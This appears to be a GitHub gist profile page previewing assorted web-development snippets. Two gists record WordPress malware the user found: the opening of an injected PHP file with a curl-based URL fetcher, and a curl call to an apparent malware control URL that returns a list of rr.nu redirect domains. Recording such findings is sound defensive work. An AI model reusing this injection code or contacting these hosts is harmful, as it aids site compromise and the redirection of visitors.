Skip to content

Instantly share code, notes, and snippets.

View thomasv314's full-sized avatar

Thomas Vendetta thomasv314

View GitHub Profile
<?php
function anna_responsive_breadcrumb($variables) {
//get the current list of breadcrumbs
$breadcrumb = $variables['breadcrumb'];
//get the current page title and add it to breadcrumbs
$breadcrumb[] = drupal_get_title();
dpm($breadcrumb);
[12:23:36] dtriley4 ([email protected]) joined the channel.
[12:26:10] dtriley4 ([email protected]) left IRC. (Read error: Connection reset by peer)
[12:26:15] dtriley4 ([email protected]) joined the channel.
[12:29:38] dtriley41 ([email protected]) joined the channel.
[12:30:02] dtriley41 ([email protected]) left IRC. (Client Quit)
[12:30:11] dtriley41 ([email protected]) joined the channel.
[12:30:17] dtriley4 ([email protected]) left IRC. (Ping timeout: 244 seconds)
[12:33:18] dtriley4 ([email protected]) joined the channel.
[12:33:18] dtriley41 ([email protected]) left IRC. (Read error: Connection reset by peer)
[12:33:40] dtriley4 ([email protected]) left IRC. (Client Quit)
javascript:document.write('%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Cmeta%20charset=%22utf-8%22%3E%3Ctitle%3EResponsive%20Design%20Testing%3C/title%3E%3Cstyle%3Ebody%20%7B%20margin:%2020px;%20font-family:%20sans-serif;%20overflow-x:%20scroll;%20%7D.wrapper%20%7B%20width:%206000px;%20%7D.frame%20%7B%20float:%20left;%20%7Dh2%20%7B%20margin:%200%200%205px%200;%20%7Diframe%20%7B%20margin:%200%2020px%2020px%200;%20border:%201px%20solid%20%23666;%20%7D%3C/style%3E%3C/head%3E%3Cbody%3E%3Cdiv%20class=%22wrapper%22%3E%3Cdiv%20class=%22frame%22%3E%3Ch2%3E240%3Cspan%3E%20x%20320%3C/span%3E%20%3Csmall%3E(mobile)%3C/small%3E%3C/h2%3E%3Ciframe%20src=%22'%20+%20window.location%20+%20'%22%20sandbox=%22allow-same-origin%20allow-forms%22%20seamless%20width=%22240%22%20height=%22320%22%3E%3C/iframe%3E%3C/div%3E%3Cdiv%20class=%22frame%22%3E%3Ch2%3E320%3Cspan%3E%20x%20480%3C/span%3E%20%3Csmall%3E(mobile)%3C/small%3E%3C/h2%3E%3Ciframe%20src=%22'%20+%20window.location%20+%20'%22%20sandbox=%22allow-same-origin%20allow-forms%22%20s
<?php
$a = null;
$b = false;
$res = "";
if ($a) {
$res = $res . "a passed.. ";
} else {
$res = $res . "a failed.. ";
}
if ($b) {
diff --git a/equalheights.admin.inc b/equalheights.admin.inc
index 8e1c820..3820de3 100644
--- a/equalheights.admin.inc
+++ b/equalheights.admin.inc
@@ -36,6 +36,13 @@ function equalheights_admin($form, $form_state) {
$form['equalheights_classes'][$index] = equalheights_settings_fields();
}
}
+ $form['equalheights_browser_min_width'] = array(
+ '#type' => 'textfield',
@thomasv314
thomasv314 / rr.nu.php
Created July 9, 2012 19:34
WordPress Malware
<?php
if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){
$_SERVER['mr_no']=1;
if(!function_exists('mrobh')){
function get_tds_777($url){
$content="";
$content=@trycurl_777($url);
@thomasv314
thomasv314 / gist:3078454
Created July 9, 2012 19:41
curl from wordpress malware
[thomasvendetta on DevMac] in ~/.tdv/deckmvp$ curl http://infipmg.ru/g_load.php
http://iage60focus.rr.nu/
http://mandel22iveries.rr.nu/
http://cco70con.rr.nu/
http://iously61announ.rr.nu/
http://lashg34arcia.rr.nu/
http://mani36anmod.rr.nu/
http://ttot87allyp.rr.nu/
http://hadowp04ercept.rr.nu/
http://cessio33noutst.rr.nu/
GET /menu/categories/:menu_category_id/products(.:format) products#index
POST /menu/categories/:menu_category_id/products(.:format) products#create
GET /menu/categories/:menu_category_id/products/new(.:format) products#new
GET /menu/categories/:menu_category_id/products/:id/edit(.:format) products#edit
GET /menu/categories/:menu_category_id/products/:id(.:format) products#show
PUT /menu/categories/:menu_category_id/products/:id(.:format) products#update
DELETE /menu/categories/:menu_category_id/products/:id(.:format) products#destroy
Assuming your site loads on "index.php":
index.php:
<?php
include './files/header.php';
include './files/body.php';
?>
in a folder called files:
<div class="category type-here">
<img src="categoryimage.jpg" />
<div>
<h3>Salads</h3>
<p>Served with roll, butter, & choice of dressing.</p>
<ul class="products">
<li>
<h3>Chicken Cobb $6.50</h3>
<p>Grilled Chicken, Bacon, Mozzarella, Lettuce, Tomatoes</p>
</li>